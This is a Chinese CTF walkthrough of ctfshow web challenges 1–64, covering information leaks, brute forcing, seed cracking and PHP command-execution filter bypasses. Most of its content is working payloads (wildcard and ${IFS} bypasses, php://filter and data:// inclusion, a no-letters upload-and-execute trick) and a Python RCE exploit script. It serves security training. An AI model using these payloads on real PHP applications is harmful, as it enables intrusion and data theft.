文章目录
- WEB入门-Part1
-
- 1、信息收集
- 2、爆破
- 3、命令执行
-
- web29:
- web30:
- web31:
- web32:
- web33:
- web34:
- web35:
- web36:
- web37:
- web38:
- web39:
- web40:
- web41:
- web42:
- web43:
- web44:
- web45:
- web46:
- web47:
- web48:
- web49:
- web50:
- web51:
- web52:
- web53:
- web54:
- web55:
- web56:
- web57:
- web58:
- web59:
- web60:
- web61:
- web62:
- web63:
- web64:
- web65:
- web66:
- web67:
- web68:
- web69:
- web70:
- web71:
- web72:
- web73:
- web74:
- web75:
- web76:
- web77:
- web118:
- web119:
- web120:
- web121:
- web122:
- web124:
- 4、文件包含
- 5、php特性
-
- web89:
- web90:
- web91:
- web92:
- web93:
- web94:
- web95:
- web96:
- web97:
- web98:
- web99:
- web100:
- web101:
- web102:
- web103:
- web104:
- web105:
- web106:
- web107:
- web108:
- web109:
- web110:
- web111:
- web112:
- web113:
- web114:
- web115:
- web123:
- web125:
- web126:
- web127:
- web128:
- web129:
- web130:
- web131:
- web132:
- web133:
- web134:
- web135:
- web136:
- web137:
- web138:
- web139:
- web140:
- web141:
- web142:
- web143:
- web144:
- web145:
- web146:
- web147:
- web148:
- web149:
- web150:
- web150_plus:
WEB入门-Part1
1、信息收集
web1:
- 右键源代码泄露
web2:
- 前台js绕过(抓包)
web3:
- 响应头信息泄露
web4:
- robots.txt信息泄露
web5:
- phps源码泄露 (index.phps)
web6:
- 源代码压缩包泄露 (www.zip)
web7:
- 版本控制泄露源码 (/.git/index.php /.svn/)
web8:
- vim临时文件泄露 (index.php.swp)
web9:
- cookie信息泄露
web10:
- 域名txt记录泄露 (https://tool.lu/dns/index.html)
web11:
- 页面存在敏感信息
web12:
- 使用文档存在默认密码等敏感信息
web13:
- 编辑器配置不当 (编辑器上传图片空间可以查看整个服务器)
web14:
- 密码逻辑脆弱 (邮箱地址找回密码简单)
web15:
- 探针泄露 (雅黑php探针 /tz.php查看phpinfo)
web16:
- CDN穿透(用fofa查找ctfer.com的真实ip)
web17:
- js敏感信息泄露 (http://www.bt.cn/tools/unicode.html)
web18:
- 前端密钥泄露 (密码hash存在前端)
web19:
- 数据库恶意下载 (asp+access数据库 /db/db.mdb)
web20:
- 备份sql文件泄露 (backup.sql)
2、爆破
web21:
题目给了一个zip文件,打开后解压是爆破的字典
抓包看到header中存在
Authorization: Basic YWRtaW46c3Nzcw==
base64解码为admin:ssss
,格式为账户:密码
burp发送到intruder模块,给base64字符串加上$
使用custom iterator(自定义迭代器)模块,第一个放账号admin
第二个放符号:
第三个放题目给的字典
接着再进行base64编码,还有把后面这个url编码字符最好取消掉
然后就是attack开始爆破,看长度不一致的包即可
web22:
题目让我们去爆破ctfer.com域名,也就是去爆破子域名,直接上layer
爆出flag.ctfer.com
,访问index.php即可得到flag
web23:
打开看到php源码
<?php
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
第一,传入的token值经过md5加密后,第1位=第14位并且第14位=第17位
第二,第1位+第14位+第17位÷第1位等于第31位
编写脚本
import hashlib
a = "0123456789qwertyuiopasdfghjklzxcvbnm"
for i in a:
for j in a:
b = (str(i) + str(j)).encode("utf-8")
m = hashlib.md5(b).hexdigest()
if(m[1:2] == m[14:15] and m[14:15] == m[17:18]):
if ((int(m[1:2]) + int(m[14:15]) + int(m[17:18])) / int(m[1:2])) == int(m[31:32]):
print(b)
得到值为3j
构造url传参``/?token=3j`,得到flag
web24:
打开看到php源码:
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
?>
由于mt_srand的seed固定了,其实是伪随机,无论跑多少次
intval(mt_rand())
永远等于1155388967
即payload:/?r=1155388967
web25:
打开看到php源码:
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
这次种子没有给出,但发现一个关键地方,就是我们可以把传入的r
设置为0,即?r=0
,可以输出$rand
的值,此时$rand=mt_rand()
的值,也就是随机数的值
直接请求/?r=0
,得到-86715576
,那么mt_rand()
也就是86715576
通过逆推工具计算出seed的值4188754181
编写脚本计算token
应该赋的值
<?php
mt_srand(4188754181);
$result = mt_rand()+mt_rand();
echo $result;
得到``token的值为
2504830688`
所以开始构造
第一个,构造?r=86715576,使得$rand
=0,满足if((!$rand))
,进入下一层if判断token的值
第二个,构造cookie头里的token=2504830688
web26:
打开页面,看到一个网站
右键查看源码,发现存在一个checkdb.php
构造payload:a=&p=&d=&u=&pass=
,POST到checkdb.php即可获得flag
web27:
点击录取名单,下载得到一份名单
有姓名但是身份证号出生日期为********
点击学院录取查询系统,输入姓名,发送到Intruder中使用Dates payload爆破身份证中的日期
在结果中看到有一条学号为02015237,初始密码为身份证号码
然后去首页登录一下,得到flag
web28:
打开页面,没发现什么有用的信息,但是观察到url有些奇怪
/0/1/2.txt
应该是爆破目录,抓一下包,记得去掉后面的2.txt
将0和1打上$
两个payload都选择0到100进行爆破
最终在payload1=72,payload2=20处看到flag
3、命令执行
web29:
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
以不区分大小写的方式匹配flag
字符串
先查看一下当前目录
?c=system("ls");
存在flag.php
就以fla*
的形式进行匹配,结合tac命令输出flag.php文件内容
?c=system("tac fla*");
web30:
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
不能出现flag|system|php
,且不区分大小写
使用echo加反撇命令执行
?c=echo `tac fla*`;
web31:
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这里过滤了空格,使用%09
绕过
?c=echo%09`tac%09fla*`;
web32:
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}
这次把反引号和echo都过滤了,利用include函数(还有require也可以)
?c=include$_POST[a]?>
post:a=php://filter/read=convert.base64-encode/resource=flag.php
把base64解码后即可得到flag
web33:
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}
这次多过滤了双引号,继续使用上一题的payload
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web34:
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}
多过滤一个:号,还是可以使用上一题的payload
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web35:
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}
多过滤一个<号和一个=号,不过没有影响,继续使用前面的payload
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web36:
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}
这次增加过滤数字,但还是没有影响,继续使用前面payload
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web37:
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}
换新题了,这次是使用了include语句,这里过滤了flag,我们采用伪协议data的方法进行绕过
?c=data:text/plain,<?=system("tac fla*");?>
web38:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}
这次在前面基础上过滤了php和file,对我们无碍,因为我们使用的是php短标签,所以继续使用上面的payload
?c=data:text/plain,<?=system("tac fla*");?>
web39:
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}
这次减少了过滤,但是会再后面加上.php的后缀,然而我们前面的payload结尾是有一个?>进行了标签闭合,所以?>.php没有影响,继续使用前面payload
?c=data:text/plain,<?=system("tac fla*");?>
web40:
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}
这里回到eval语句执行命令,但过滤了许多东西,没有过滤掉英文的(),那我们使用无参数的rce进行构造读取文件
print_r(scandir(‘.’)); 查看当前目录下的所有文件名
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
我们先打印出当前目录下的文件
?c=print_r(scandir(current(localeconv())));
Array ([0]=>. [1]=>.. [2]=>flag.php [3]=>index.php)
读取目录文件后,发现输出的是数组,而文件名是数组中的值,下一步我们需要取出想要读取文件的数组
each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组
观察flag.php在倒数第二位,我们开始构造
?c=show_source(next(array_reverse(scandir(getcwd()))));
web41:
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}
过滤了数字和字母还有一些其他符号,但我们可以利用或运算符进行构造payload进行命令执行
例如源码中禁止我们使用了数字3,也就是ascii码值为51,我们可以使用或运算符在没有被禁止的字符中构造出51来,比如19和32没有被禁止,我们进行或运算19|32=51,就可以获得51这个ascii码值,也就是成功得到了数字3
import requests
import urllib
import re
from sys import *
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("exit: input exit in function")
print("="*50)
exit(0)
url=argv[1]
#生成可用的字符 如: Q %40 %11
def write_rce():
result = ''
preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i | j
if k >= 32 and k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
result += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('rce.txt', 'w')
f.write(result)
#根据输入的命令在生成的txt中进行匹配
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
def main():
write_rce()
while True:
s1 = input("\n[+] your function:")
if s1 == "exit":
break
s2 = input("[+] your command:")
param=action(s1) + action(s2)
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
main()
web42:
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}
这次后面多了一个" >/dev/null 2>&1"语句,意思是写入的内容会永远消失,也就是不进行回显
1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt
2:/dev/null 代表空设备文件
3:2> 表示stderr标准错误
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null”
因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”那么本文标题的语句执行过程为:
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。
2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
也就是我们如果输入?c=ls
,输出就会被吞掉不进行回显,那该怎么办呢?其实很简单,用;
号或者||
等等一些命令分隔符进行命令分隔
?c=tac flag.php;
web43:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}
在前面基础上过滤了cat和;号,我们使用其他命令分隔符即可
?c=tac flag.php||
web44:
f(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}
把flag过滤了,相信如果你从前面做到现在,心中应该也知道怎么绕过了哈哈,使用通配符进行绕过
?c=tac fla*||
web45:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}
这次把空格也过滤了,ok,使用%09进行绕过,%09是tab的url编码
?c=tac%09fla*||
web46:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}
这次把数字都过滤了,还把通配符*
进行了过滤,我们可以改用?
进行匹配,同时空格的话还是可以继续使用%09,它不属于过滤的数字范畴
?c=tac%09fla?.php||
web47:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}
这次多过滤了几个读取文件的命令,但tac没有被过滤我们继续使用之前的payload
?c=tac%09fla?.php||
这里补充一下一些其他命令读取的操作
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:
grep test *file
strings
web48:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}
这次还是多过滤了一些读取的命令,tac没有被过滤,继续使用前面的payload
?c=tac%09fla?.php||
web49:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}
还是没有过滤tac,继续使用前面的payload
?c=tac%09fla?.php||
web50:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}
这次把%
进行了过滤,我们使用<>
号进行绕过,这里通配符进行修改一下,<>
和?
一起没有显示出来,改用\
进行绕过,payload如下
?c=tac<>fla\g.php||
web51:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}
这次对tac进行了过滤,我们可以用\
分割进行绕过,payload如下
?c=ta\c<>fla\g.php||
web52:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}
这次过滤了尖括号,但放空了$
符给我们,所以payload如下
?c=ta\c${
IFS}fla\g.php||
发现flag改位置了,用ls看一下
?c=ta\c${
IFS}../../../fla?||
web53:
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}
这次好像只把后面的吞回显给去掉了,那我们去掉后面的||
即可,payload如下
?c=ta\c${
IFS}fla?.php
web54:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}
这次过滤了好多字母,也不能会用\
的形式进行分割,但还有另一个读取的命令grep可以使用
grep flag flag.php 查找flag.php文件中含有flag的那一行,并且打印出来
所以我们可以构造payload如下,在flag.php中查找带有show字符串的一行(因为flag的格式为ctfshow{})
?c=grep${
IFS}show${
IFS}fl?g.php
web55:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}
这次把字母都给禁掉了,一般遇到这情况最容易想到的应该是进行异或运算等等办法进行构造,在这里他没有禁掉数字,我们有其他略微方便点的方法,就是通过匹配bin下存在的命令进行读取flag
bin为binary的简写,主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
我们日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls
这里没有禁用数字所以我们可以使用base64命令,构造如下
?c=/???/????64 ????.??? 也就是?c=/bin/base64 flag.php
再进行解码即可得到flag
web56:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}
这次在上一题的基础上多过滤掉了数字,导致我们无法使用上题的payload。无字母数字webshell,这里我们可以利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx
。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母。容易想到的匹配方式就是利用?
进行匹配,即???/?????????
,然而这不一定会匹配到我们上传的文件,这时候有什么办法呢?
在ascii码表中观察发现,在大写字母A的前一个符号为@
,大写字母Z的后一个字母为[
,因此我们可以使用[@-[]
来表示匹配大写字母([64-91]
),也就是变成了这样的形式:???/????????[@-[]
,到这一步已经能匹配到了我们上传的文件
那限制了字母后该如何执行上传的文件呢?这里有个技巧,就是使用. file
来执行文件
在目录下新建一个f.txt,内容为ls,我们使用. /home/kali/ctf_tools/a/f.txt
来执行文件
发现f.txt里的ls命令被成功执行,所以我们的完整payload就是
?c=. /???/????????[@-[]
并且同时上传我们的文件,文件内容里面是命令
import requests
while True:
url = "http://92a3d8ba-280b-4cb8-bd47-58b577bb6204.chall.ctf.show:8080/?c=. /???/????????[@-[]"
r = requests.post(url, files={
"file": ("dota.txt", "cat flag.php")})
flag = r.text.split('ctfshow')
if len(flag) >1:
print(r.text)
break
web57:
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}
这题不仅过滤了字母数字,还把通配符都给过滤了。查了一下资料,发现在shell中可以利用$
和()
进行构造数字,而这道题提示flag在36.php中,system中已经写好cat和php,所以我们只需要构造出36即可
$(())
代表做一次运算,因为里面为空,也表示值为0
$((~$(())))
对0作取反运算,值为-1
$(($((~$(())))$((~$(())))))
-1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(())))))))
再对-2做一次取反得到1,所以值为1这里给个容易记得式子,如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1
所以我们只要构造出-37,再进行取反,即可得到我们想要的数字36
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)
payload如下
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
因为是cat命令,所以右键查看一下源码即可得到flag
web58:
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}
额,突然变简单了,这里可以直接蚁剑连接进去查看flag了(后面其实都可以使用蚁剑直接连接getshell)
不过应该是考读取文件的,我们使用读取文件函数进行读取flag,payload如下
c=show_source("flag.php");
这里补充一些读取文件函数的用法
highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组
web59:
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}
代码没变,应该是开始禁用了一些函数,考点应该开始是绕disable_functions了,show_source()没有被禁,继续使用
c=show_source("flag.php");
web60:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}
show_source()没有被禁,继续使用
c=show_source("flag.php");
web61:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}
show_source()没有被禁,继续使用
c=show_source("flag.php");
web62:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}
show_source()没有被禁,继续使用
c=show_source("flag.php");
web63:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}
show_source()没有被禁,继续使用
c=show_source("flag.php");
web64:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}
show_source()没有被禁,继续使用
c=show_source("flag.php");
<